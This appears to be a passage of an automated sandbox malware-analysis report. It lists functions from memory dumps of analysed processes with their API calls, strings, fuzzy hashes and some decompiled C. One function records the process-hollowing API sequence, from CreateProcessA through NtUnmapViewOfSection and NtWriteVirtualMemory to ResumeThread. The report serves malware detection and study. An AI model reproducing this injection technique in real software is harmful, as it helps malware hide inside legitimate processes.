Function 00402491, Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.374134319.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 36c7c2ea362ab175c8faec48889e7f9c448137358fc225cecc8bd01fb5f49981
Instruction ID: 0d435e3da4236d765e4c301cf304dd2dd2fe2570b998ddab2789a7de4284b15f
Opcode Fuzzy Hash: 36c7c2ea362ab175c8faec48889e7f9c448137358fc225cecc8bd01fb5f49981
Instruction Fuzzy Hash: 1001A27800265CAB972DCAA5D5D9041FFA9EE06330FA8EC8DC7824FD42CEB57086C643

Uniqueness

Uniqueness Score: -1.00%

Function 0040201A, Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.374134319.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 50abe3c5d8af24f71ceee97d10064826831867a7979f46442cde13a65a6779ae
Instruction ID: 7ec0170f8d63d1cb41ea52610257a3a2e440b84d0ce0a50aa0c143b35ceb2a17
Opcode Fuzzy Hash: 50abe3c5d8af24f71ceee97d10064826831867a7979f46442cde13a65a6779ae
Instruction Fuzzy Hash: 26F0C87410020D6ED22CD7A0D185052B7A4FFC1304F611D5DC3422BCA2C939B853DA83

Uniqueness

Uniqueness Score: -1.00%

Function 0040201E, Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.374134319.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 348556ee60875952d1b353ddc5f2ef97f6264277c173934fb5a6c0ffb2736ff7
Instruction ID: a43892d0f1fc751e2312f163d4b39de440685b5976e97a52a0fb587587c89ddc
Opcode Fuzzy Hash: 348556ee60875952d1b353ddc5f2ef97f6264277c173934fb5a6c0ffb2736ff7
Instruction Fuzzy Hash: 32F0AF7400424D6E93299B719585092BBA4FF82304F611D8EC3825BC62CA3AB893CB82

Uniqueness

Uniqueness Score: -1.00%

Function 0040202D, Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.374134319.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 91acaab0455c819429546f4fe30140ad69fd9360310cbf4e3092104b92557cb0
Instruction ID: d517fed31536b1fc2a21567abd7de147b63b6840b6cf7dc9692091a0263e9a5e
Opcode Fuzzy Hash: 91acaab0455c819429546f4fe30140ad69fd9360310cbf4e3092104b92557cb0
Instruction Fuzzy Hash: D4F0C27410421DAE926CDBA0D185092BBA4FFD2304F615D5DC3426BCA2CA3AF853DA82

Uniqueness

Uniqueness Score: -1.00%

Function 00402084, Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.374134319.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b2fd54db6ca68966c6ea549734bc74dc57af9ffe16b4078303ef16f8b7efa8fb
Instruction ID: b234b1e164d4dd428b17fdfb9b1103a254be6e4ce54d4f1e89fdf23064b212e5
Opcode Fuzzy Hash: b2fd54db6ca68966c6ea549734bc74dc57af9ffe16b4078303ef16f8b7efa8fb
Instruction Fuzzy Hash: 15E0C26910150E6E865C8A7195440D2B7D6FFC2240BA12D49C3062BC22893AB883D591

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: ddigjgj PID: 6700 Parent PID: 664 ddigjgjCOMMON

Executed Functions

Function 04790110, Relevance: 22.7, APIs: 15, Instructions: 248memorynativethreadCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,00002800,00001000,00000004), ref: 04790156
GetModuleFileNameA.KERNELBASE(00000000,?,00002800), ref: 0479016C
CreateProcessA.KERNELBASE(?,00000000), ref: 04790255
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 04790270
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 04790283
GetThreadContext.KERNELBASE(00000000,?), ref: 0479029F
ReadProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 047902C8
NtUnmapViewOfSection.NTDLL(00000000,?), ref: 047902E3
VirtualAllocEx.KERNELBASE(00000000,?,?,00003000,00000040), ref: 04790304
NtWriteVirtualMemory.NTDLL(00000000,?,?,00000000,00000000), ref: 0479032A
NtWriteVirtualMemory.NTDLL(00000000,00000000,?,00000002,00000000), ref: 04790399
WriteProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 047903BF
SetThreadContext.KERNELBASE(00000000,?), ref: 047903E1
ResumeThread.KERNELBASE(00000000), ref: 047903ED
ExitProcess.KERNEL32(00000000), ref: 04790412

Memory Dump Source

Source File: 00000008.00000002.422909033.0000000004790000.00000040.00000001.sdmp, Offset: 04790000, based on PE: false

Similarity

API ID: Virtual$MemoryProcess$AllocThreadWrite$Context$CreateExitFileFreeModuleNameReadResumeSectionUnmapView
String ID:
API String ID: 2875986403-0
Opcode ID: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction ID: 215bc76977b06129f3ad181dcd009722f561b75b03d0852b0d5fe23e0eebf6c6
Opcode Fuzzy Hash: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction Fuzzy Hash: F3B1C674A00208AFDB44CF98C895F9EBBB5FF88314F248158E909AB391D771AE41CF94

Uniqueness

Uniqueness Score: -1.00%

Function 04790420, Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 113COMMON

Download Yara Rule

APIs

CreateWindowExA.USER32(00000200,saodkfnosa9uin,mfoaskdfnoa,00CF0000,80000000,80000000,000003E8,000003E8,00000000,00000000,00000000,00000000), ref: 04790533

Strings

0, xrefs: 04790492
d, xrefs: 04790584
mfoaskdfnoa, xrefs: 04790520, 04790523
saodkfnosa9uin, xrefs: 047904DA

Memory Dump Source

Source File: 00000008.00000002.422909033.0000000004790000.00000040.00000001.sdmp, Offset: 04790000, based on PE: false

Similarity

API ID: CreateWindow
String ID: 0$d$mfoaskdfnoa$saodkfnosa9uin
API String ID: 716092398-2341455598
Opcode ID: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction ID: efdb35350c8144655ded695a816c9eb87681d586e94056a7e2090887f6b113e1
Opcode Fuzzy Hash: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction Fuzzy Hash: 5B510770D083C8DAEF11CBA8D849BDDBFB2AF11708F144058D5447F286C3BA6A58CB66

Uniqueness

Uniqueness Score: -1.00%

Function 047905B0, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE(apfHQ), ref: 047905EC

Strings

o, xrefs: 04790600
apfHQ, xrefs: 047905E2, 047905E5

Memory Dump Source

Source File: 00000008.00000002.422909033.0000000004790000.00000040.00000001.sdmp, Offset: 04790000, based on PE: false

Similarity

API ID: AttributesFile
String ID: apfHQ$o
API String ID: 3188754299-2999369273
Opcode ID: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction ID: 2786d88cd883dda696e342d232ea641a43da57e65ebb47528722ca9b3e4e53e3
Opcode Fuzzy Hash: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction Fuzzy Hash: FC010C70C0428CEADF10DBA8D5187AEBFB5AB41308F148099C4592B342D7769B58DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 02BC07A6, Relevance: 1.5, APIs: 1, Instructions: 41COMMON

Download Yara Rule

APIs

Module32First.KERNEL32(00000000,00000224), ref: 02BC07EE

Memory Dump Source

Source File: 00000008.00000002.422539398.0000000002BC0000.00000040.00000001.sdmp, Offset: 02BC0000, based on PE: false

Similarity

API ID: FirstModule32
String ID:
API String ID: 3757679902-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 23cdff460d2f8673488fb96be4480a9d7e8ec79f9a2485136b332f4236dbf840
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 38F06231101711AFD7243BB5988CB6F76ECEF49665F20097DE652910C0DB70E8454A61

Uniqueness

Uniqueness Score: -1.00%

Function 02BC0465, Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 02BC04B6

Memory Dump Source

Source File: 00000008.00000002.422539398.0000000002BC0000.00000040.00000001.sdmp, Offset: 02BC0000, based on PE: false

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 3cea2c497e5f7c10568071e97318d1508c138e0fc1c267d777cb09a42f4acd3c
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 22113C79A40208EFDB01DF98C985E99BBF5EF08350F1980A4F9489B361D771EA50DF80

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 02BC0083, Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.422539398.0000000002BC0000.00000040.00000001.sdmp, Offset: 02BC0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: 8623cd6ca9d296c166fe596035e5cc6dbcb22df1241e3a7aaf66041cd41cc937
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: 85112E723401049FD754DE55DC81FA673EAEB99324B2A84A9E904CB316D675E841C760

Uniqueness

Uniqueness Score: -1.00%

Function 04790042, Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.422909033.0000000004790000.00000040.00000001.sdmp, Offset: 04790000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: e86d9cd9ce4b225d68b47c1175480999cc526a1d43aaa99ba73dfe8f46ddb95b
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: 85118E72350100AFEB54DF6AEC95FA673EAEB88324B198565ED08CB311E676EC41C760

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: ddigjgj PID: 6464 Parent PID: 6700 ddigjgjCOMMON

Executed Functions

Function 0040196D, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48
sleepnativeCOMMON

Download Yara Rule

C-Code - Quality: 46%

			E0040196D(void* __eax, void* __ebx, void* __ecx, void* __edi, short __esi, void* __fp0) {
				intOrPtr _t14;
				void* _t17;
				intOrPtr* _t23;
				void* _t26;
				void* _t27;
				void* _t28;
				signed int _t33;
				intOrPtr* _t35;
				void* _t38;

				_t31 = __esi;
				_t29 = __edi;
				asm("in eax, 0xe5");
				 *((short*)(__eax + _t33 * 2)) = __esi;
				 *((intOrPtr*)(__eax + _t33 * 2)) = __esi;
				_push(0x1999);
				_t14 =  *_t35;
				__eflags = __al;
				_t26 = 0x5c;
				E004012AB(_t14, __ebx, _t26, _t28, __edi, __esi, _t38);
				_t23 =  *((intOrPtr*)(_t33 + 8));
				Sleep(0x1388);
				_t17 = E004014EA(_t28, _t38, __fp0, _t23,  *((intOrPtr*)(_t33 + 0xc)),  *((intOrPtr*)(_t33 + 0x10)), _t33 - 4); // executed
				_t39 = _t17;
				if(_t17 != 0) {
					_push( *((intOrPtr*)(_t33 + 0x14)));
					_push( *((intOrPtr*)(_t33 - 4)));
					_push(_t17);
					_push(_t23); // executed
					E004015BD(_t23, _t28, _t29, _t31, _t39); // executed
				}
				 *_t23(0xffffffff, 0); // executed
				_t27 = 0x5c;
				return E004012AB(0x1999, _t23, _t27, _t28, _t29, _t31, _t39);
			}

APIs

Sleep.KERNELBASE(00001388), ref: 004019A1
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019C9

Strings

j\Y, xrefs: 00401989

Memory Dump Source

Source File: 00000009.00000002.434805923.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID: j\Y
API String ID: 417527130-662177190
Opcode ID: 60e19d2a587da5622c2a6d9172a049e9a5b2b5b2e4593a54255e3bb5c4ee03a0
Instruction ID: 595b9c3ea7707adfb89ee20c44a57f79679102a22a402f6ef59d3c67027402ce
Opcode Fuzzy Hash: 60e19d2a587da5622c2a6d9172a049e9a5b2b5b2e4593a54255e3bb5c4ee03a0
Instruction Fuzzy Hash: B10184B2604245EBDB005FE5DC92DAA3B74AF01314F2401ABF512B91F2DA3C8513E71A

Uniqueness

Uniqueness Score: -1.00%

Function 00401962, Relevance: 3.1, APIs: 2, Instructions: 52
sleepnativeCOMMON

Download Yara Rule

C-Code - Quality: 44%

			E00401962(void* __ecx, void* __fp0, intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t9;
				void* _t12;
				void* _t17;
				intOrPtr* _t18;
				void* _t20;
				void* _t21;
				void* _t22;
				void* _t23;
				void* _t24;
				intOrPtr* _t25;
				void* _t27;

				_push(0x1999);
				_t9 =  *_t25;
				__eflags = __al;
				_t20 = 0x5c;
				E004012AB(_t9, _t17, _t20, _t22, _t23, _t24, _t27);
				_t18 = _a4;
				Sleep(0x1388);
				_t12 = E004014EA(_t22, _t27, __fp0, _t18, _a8, _a12,  &_v8); // executed
				_t28 = _t12;
				if(_t12 != 0) {
					_push(_a16);
					_push(_v8);
					_push(_t12);
					_push(_t18); // executed
					E004015BD(_t18, _t22, _t23, _t24, _t28); // executed
				}
				 *_t18(0xffffffff, 0); // executed
				_t21 = 0x5c;
				return E004012AB(0x1999, _t18, _t21, _t22, _t23, _t24, _t28);
			}

APIs

Sleep.KERNELBASE(00001388), ref: 004019A1
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019C9

Memory Dump Source

Source File: 00000009.00000002.434805923.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: e6583a46ba0c482cc9ee2622c86c4f26a038c05ef2be8949cbdfc3cdf2952675
Instruction ID: c7dbb5b86db80192b1cd6b67b95130a9e8bba6362884e51d04f8a5ef40e6dacf
Opcode Fuzzy Hash: e6583a46ba0c482cc9ee2622c86c4f26a038c05ef2be8949cbdfc3cdf2952675
Instruction Fuzzy Hash: A50144F1208205FBEB005AD59DA2E7B3668AB01715F20013BBA03790F1D57D9913E72B

Uniqueness

Uniqueness Score: -1.00%

Function 00401A0B, Relevance: 1.6, APIs: 1, Instructions: 96nativeCOMMON

Download Yara Rule

APIs

NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019C9

Memory Dump Source

Source File: 00000009.00000002.434805923.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: 00d9af8ada967e92f08724f842517e3d5e3f1b979023ce9469ee702bd8b35524
Instruction ID: 6d9108f025a0daaf84588f91761baf46a4613dd7645499535b00fdf5ce75212c
Opcode Fuzzy Hash: 00d9af8ada967e92f08724f842517e3d5e3f1b979023ce9469ee702bd8b35524
Instruction Fuzzy Hash: 3E21D074609204EAC7156665C863FB637909B41329F60153FE9A3BE2F2C67C4487EB27

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: A70A.exe PID: 3340 Parent PID: 3352 A70A.exeCOMMON

Executed Functions

Function 01271E50, Relevance: 7.5, Strings: 2, Instructions: 4953COMMON

Download Yara Rule

Strings

x{l, xrefs: 01277251
DCFm, xrefs: 01276C43

Memory Dump Source

Source File: 0000000B.00000002.570603705.0000000001270000.00000040.00000010.sdmp, Offset: 01270000, based on PE: false

Similarity

API ID:
String ID: DCFm$x{l
API String ID: 0-3902985257
Opcode ID: 516cac78be83428b988bd13520d5631948d25a16badf82695afcfd0849bd6f69
Instruction ID: 9a5ef1d581f28d3dcf2958151e57d35c7c817ac31efe6e381ac91d8299f5234b
Opcode Fuzzy Hash: 516cac78be83428b988bd13520d5631948d25a16badf82695afcfd0849bd6f69
Instruction Fuzzy Hash: 57A30A31E90B1A96EB20DB64CC41BD9F371AF95700F21D796B7583A5C0EBB07AC58B90

Uniqueness

Uniqueness Score: -1.00%

Function 01271E41, Relevance: 6.2, Strings: 1, Instructions: 4936COMMON

Download Yara Rule

Strings

DCFm, xrefs: 01276C43

Memory Dump Source

Source File: 0000000B.00000002.570603705.0000000001270000.00000040.00000010.sdmp, Offset: 01270000, based on PE: false

Similarity

API ID:
String ID: DCFm
API String ID: 0-3536770697
Opcode ID: 9c6049f0b6f3193b23809be4fd55d27cbccb48cdcd3f42e94290e980cdc96231
Instruction ID: d526fa39141891de4ecd5ef6b108fab88d401a9551488d2a0648480f2683bb78
Opcode Fuzzy Hash: 9c6049f0b6f3193b23809be4fd55d27cbccb48cdcd3f42e94290e980cdc96231
Instruction Fuzzy Hash: 6AA30A31E90B1A96EB20DB64CC41BD9F371AF95700F21D796B7583A5C0EBB07AC58B90

Uniqueness

Uniqueness Score: -1.00%

Function 0129ABD8, Relevance: 2.0, Strings: 1, Instructions: 779COMMON

Download Yara Rule

Strings

LWJm, xrefs: 0129B60D

Memory Dump Source

Source File: 0000000B.00000002.572574056.0000000001290000.00000040.00000010.sdmp, Offset: 01290000, based on PE: false

Similarity

API ID:
String ID: LWJm
API String ID: 0-2699082438
Opcode ID: 8e24ddaee1e99422a22e6d975a0eff113c4ff75e24259596726948da248e08b5
Instruction ID: fb72c4b6ec1f949a8d54f55a23d1a6bfcebe0f75cc88b1d5291c0bbeca05dfcd
Opcode Fuzzy Hash: 8e24ddaee1e99422a22e6d975a0eff113c4ff75e24259596726948da248e08b5
Instruction Fuzzy Hash: 6C625974A102158FDB14DFACD494AADBBF6EF88310F1584A9E905EB365DB31EC42CB90

Uniqueness

Uniqueness Score: -1.00%

Function 01260DA0, Relevance: 6.1, APIs: 4, Instructions: 126threadCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 01260E10
GetCurrentThread.KERNEL32 ref: 01260E4D
GetCurrentProcess.KERNEL32 ref: 01260E8A
GetCurrentThreadId.KERNEL32 ref: 01260EE3

Memory Dump Source

Source File: 0000000B.00000002.570418813.0000000001260000.00000040.00000010.sdmp, Offset: 01260000, based on PE: false

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 1380c1029ec4d110f31568102cda0ff5e7cf55b4433a87739ef1c648359ed3db
Instruction ID: 2a1bb71306b11481d2fe6425c61873d6636a9fe89084ae5ce30c1818b371e36a
Opcode Fuzzy Hash: 1380c1029ec4d110f31568102cda0ff5e7cf55b4433a87739ef1c648359ed3db
Instruction Fuzzy Hash: 3A5186B4900249CFDB18CFA9D948BEEBBF4FF89304F24845AE059A7290D7355884CF65

Uniqueness

Uniqueness Score: -1.00%

Function 01260DB0, Relevance: 6.1, APIs: 4, Instructions: 120threadCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 01260E10
GetCurrentThread.KERNEL32 ref: 01260E4D
GetCurrentProcess.KERNEL32 ref: 01260E8A
GetCurrentThreadId.KERNEL32 ref: 01260EE3

Memory Dump Source

Source File: 0000000B.00000002.570418813.0000000001260000.00000040.00000010.sdmp, Offset: 01260000, based on PE: false

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 3c84339e7e1540d54ec1a1d3f774dc8ec9e85a77ca62f648d7686434775d09df
Instruction ID: 1936de8e7cd1c1de2490534c37d97286050594dfed74def51846f9db7a66276d
Opcode Fuzzy Hash: 3c84339e7e1540d54ec1a1d3f774dc8ec9e85a77ca62f648d7686434775d09df
Instruction Fuzzy Hash: 1F5164B4900209CFDB18CFAAD948BEEBBF4FF88304F24845AE459A7390D7355884CB65

Uniqueness

Uniqueness Score: -1.00%

Function 01270E18, Relevance: 3.8, Strings: 3, Instructions: 84COMMON

Download Yara Rule

Strings

HrGm, xrefs: 01270EF0
HrGm, xrefs: 01270EFC
HrGm, xrefs: 01270E98

Memory Dump Source

Source File: 0000000B.00000002.570603705.0000000001270000.00000040.00000010.sdmp, Offset: 01270000, based on PE: false

Similarity

API ID:
String ID: HrGm$HrGm$HrGm
API String ID: 0-4020805291
Opcode ID: de4004b8876fff69848d1f5ed149963741263da480eb34d8c56b11b5ba50b6aa
Instruction ID: 2af1aca5e8eb813a25457570e9b9a2efb9afc06d3e2ccd2d17d2708ffaf82004
Opcode Fuzzy Hash: de4004b8876fff69848d1f5ed149963741263da480eb34d8c56b11b5ba50b6aa
Instruction Fuzzy Hash: D731AE34B242068FDB05DB6DD4409AF77E6EB8A205B40492AF606DB310EF70EC45CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 013DF5CB, Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 184COMMON

Download Yara Rule

Strings

m.ServiceModel.Security, xrefs: 013DF929

Memory Dump Source

Source File: 0000000B.00000002.578581898.00000000013DD000.00000040.00020000.sdmp, Offset: 012E0000, based on PE: true

Associated: 0000000B.00000002.573250917.00000000012E0000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.573313266.00000000012E2000.00000040.00020000.sdmp Download File
Associated: 0000000B.00000002.575965831.0000000001315000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.576235273.0000000001316000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.576371958.000000000131A000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.576541484.0000000001327000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.578717423.00000000013F7000.00000080.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID: m.ServiceModel.Security
API String ID: 0-3634136075
Opcode ID: 12e5c5282162c95b320f9a711bd7293156ced9485df5a0c0d57a3d2333decba0
Instruction ID: e0e04851971da5e7ad4acf2ade62ee49b597e8b3eae2bdb95dc82ef8a3302faf
Opcode Fuzzy Hash: 12e5c5282162c95b320f9a711bd7293156ced9485df5a0c0d57a3d2333decba0
Instruction Fuzzy Hash: 6351BF7350C60EEFE2054A24B8E5BB27AACBB0835CF15882AE41B9ED51D3705E538F53

Uniqueness

Uniqueness Score: -1.00%

Function 01270E08, Relevance: 2.6, Strings: 2, Instructions: 80COMMON

Download Yara Rule

Strings

HrGm, xrefs: 01270EF0
HrGm, xrefs: 01270E98

Memory Dump Source

Source File: 0000000B.00000002.570603705.0000000001270000.00000040.00000010.sdmp, Offset: 01270000, based on PE: false

Similarity

API ID:
String ID: HrGm$HrGm
API String ID: 0-3915380000
Opcode ID: 276d6574bff6a325bbe281537f62d6260acf95bc97a800b268fe78c7fa7d8fe4
Instruction ID: f508a5b47a5f5c4e966368ec8507a6a2f66f0f7f577f72b045a790d457c94e3d
Opcode Fuzzy Hash: 276d6574bff6a325bbe281537f62d6260acf95bc97a800b268fe78c7fa7d8fe4
Instruction Fuzzy Hash: 4031F234B203068FDB05DB6CD440AAF77B2EB86205B00492AE546DB350EF30ED49CB99

Uniqueness

Uniqueness Score: -1.00%

Function 01298840, Relevance: 1.7, Strings: 1, Instructions: 479COMMON

Download Yara Rule

Strings

xPGm, xrefs: 012988F3

Memory Dump Source

Source File: 0000000B.00000002.572574056.0000000001290000.00000040.00000010.sdmp, Offset: 01290000, based on PE: false

Similarity

API ID:
String ID: xPGm
API String ID: 0-1867038200
Opcode ID: 225268c9e10fffca965c0a93e08a2379d1c607972b5a455ba17473077da126ed
Instruction ID: c527c2516f5cc99b382631b6c72b53f499e8e5e79a31017f66f8d307214e88a5
Opcode Fuzzy Hash: 225268c9e10fffca965c0a93e08a2379d1c607972b5a455ba17473077da126ed
Instruction Fuzzy Hash: 74F1BF34B102058FDB15EBB8D4686AE7BE7EFC9204F14486AE506DB395DF34CC468B92

Uniqueness

Uniqueness Score: -1.00%

Function 013E2DC7, Relevance: 1.6, APIs: 1, Instructions: 107COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.578581898.00000000013DD000.00000040.00020000.sdmp, Offset: 012E0000, based on PE: true

Associated: 0000000B.00000002.573250917.00000000012E0000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.573313266.00000000012E2000.00000040.00020000.sdmp Download File
Associated: 0000000B.00000002.575965831.0000000001315000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.576235273.0000000001316000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.576371958.000000000131A000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.576541484.0000000001327000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.578717423.00000000013F7000.00000080.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b726b7faec3bbf8fb63cc102ba4fb24fb8120a38534a2c2dd5153b50fbcf4356
Instruction ID: 9417f9a174eaf77fe5ed1b88b4949f06dd4a2d42adfb3edd9f63d9e1b8681123
Opcode Fuzzy Hash: b726b7faec3bbf8fb63cc102ba4fb24fb8120a38534a2c2dd5153b50fbcf4356
Instruction Fuzzy Hash: 6C31AE3410D77EDBD3125A64C81CBB37EFCBF1524CF048859D6A797CD1D76298058AA2

Uniqueness

Uniqueness Score: -1.00%

Function 01261AA0, Relevance: 1.6, APIs: 1, Instructions: 86COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.570418813.0000000001260000.00000040.00000010.sdmp, Offset: 01260000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 05e14b7bd3828e9f36853a6c5fccce0a81a42d902ff2b319a38e164475c947bb
Instruction ID: 8aa47e37d3bec626b9c00d5241b0b944948427ee5954bdd86848982f0dbb2d36
Opcode Fuzzy Hash: 05e14b7bd3828e9f36853a6c5fccce0a81a42d902ff2b319a38e164475c947bb
Instruction Fuzzy Hash: 772125356242018FEB64AAB8E5153BD73EAE7D4261F044036C606CA2C0FB78ADA1C765

Uniqueness

Uniqueness Score: -1.00%

Function 01261AB0, Relevance: 1.6, APIs: 1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.570418813.0000000001260000.00000040.00000010.sdmp, Offset: 01260000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4cd64bee76a8f64424c5439aea3fe71874c1cb125ea03df052d71952648b10c2
Instruction ID: 98b43c7bc910a8ea4356fbfbf7d509b3c03d4255128962b4327342f0d2ed270f
Opcode Fuzzy Hash: 4cd64bee76a8f64424c5439aea3fe71874c1cb125ea03df052d71952648b10c2
Instruction Fuzzy Hash: A921F2397242018BEB60A9A8E5153BD72EAE7D4361F444036D6028B3C0FB796DA1C765

Uniqueness

Uniqueness Score: -1.00%

Function 01261B0C, Relevance: 1.6, APIs: 1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.570418813.0000000001260000.00000040.00000010.sdmp, Offset: 01260000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d005e24d4c6f89f9b403dde3ea6abe8735f014e22b7b93314bd3b7a88531a915
Instruction ID: 547d9579ec7607bb229b64b355a8b1ca26381b2a9b1853798989f32f598a099b
Opcode Fuzzy Hash: d005e24d4c6f89f9b403dde3ea6abe8735f014e22b7b93314bd3b7a88531a915
Instruction Fuzzy Hash: 5711B239724201CBEB64AAB8A5153BC72EAE7D4311F484026C602D73C4FB79ADE1C726

Uniqueness

Uniqueness Score: -1.00%

Function 013DF7DF, Relevance: 1.6, APIs: 1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.578581898.00000000013DD000.00000040.00020000.sdmp, Offset: 012E0000, based on PE: true

Associated: 0000000B.00000002.573250917.00000000012E0000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.573313266.00000000012E2000.00000040.00020000.sdmp Download File
Associated: 0000000B.00000002.575965831.0000000001315000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.576235273.0000000001316000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.576371958.000000000131A000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.576541484.0000000001327000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.578717423.00000000013F7000.00000080.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 71575c9f0b1a954e86e18bb563a243ed2ede36e8d655428d55ea9e2f010a29e5
Instruction ID: f98b385739aba2853b7c665ae6bf7d8a0440763a98877f36626f1548825ee935
Opcode Fuzzy Hash: 71575c9f0b1a954e86e18bb563a243ed2ede36e8d655428d55ea9e2f010a29e5
Instruction Fuzzy Hash: C311D27350D64ECBF6199A74B4D4AB27BECAB0A20CF054456D5578AC15C3A0DE138F93

Uniqueness

Uniqueness Score: -1.00%

Function 01261C08, Relevance: 1.6, APIs: 1, Instructions: 57COMMON

